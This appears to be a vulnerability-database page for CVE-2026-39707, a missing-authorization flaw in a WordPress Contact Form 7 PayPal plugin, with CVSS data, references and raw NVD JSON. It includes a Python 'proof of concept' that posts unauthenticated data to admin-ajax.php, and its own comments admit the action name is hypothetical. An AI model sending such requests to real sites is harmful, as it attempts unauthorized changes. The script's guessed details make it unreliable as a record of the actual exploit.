CVE-2026-39707

Description

Missing Authorization vulnerability in ZealousWeb Accept PayPal Payments using Contact Form 7 contact-form-7-paypal-extension allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Accept PayPal Payments using Contact Form 7: from n/a through <= 4.0.4.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Accept PayPal Payments using Contact Form 7 <= 4.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2026-39707
# This script demonstrates an unauthenticated request to a vulnerable endpoint.

import requests

def exploit(target):
    # The vulnerable endpoint is typically an unsecured AJAX action
    url = f"{target}/wp-admin/admin-ajax.php"
    
    # Payload targeting the missing authorization vulnerability
    # Note: The specific 'action' parameter depends on the plugin's internal implementation
    payload = {
        "action": "cf7pe_vulnerable_action",  # Hypothetical action name
        "data": "malicious_update_data"
    }
    
    try:
        response = requests.post(url, data=payload, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent successfully to {target}")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target_site = "http://example.com"
    exploit(target_site)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39707
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39707
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39707/
[4] VulDB https://vuldb.com/cve/CVE-2026-39707
[5] https://patchstack.com/database/Wordpress/Plugin/contact-form-7-paypal-extension/vulnerability/wordpress-accept-paypal-payments-using-contact-form-7-plugin-4-0-4-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39707", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:43.490", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in ZealousWeb Accept PayPal Payments using Contact Form 7 contact-form-7-paypal-extension allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Accept PayPal Payments using Contact Form 7: from n/a through <= 4.0.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contact-form-7-paypal-extension/vulnerability/wordpress-accept-paypal-payments-using-contact-form-7-plugin-4-0-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}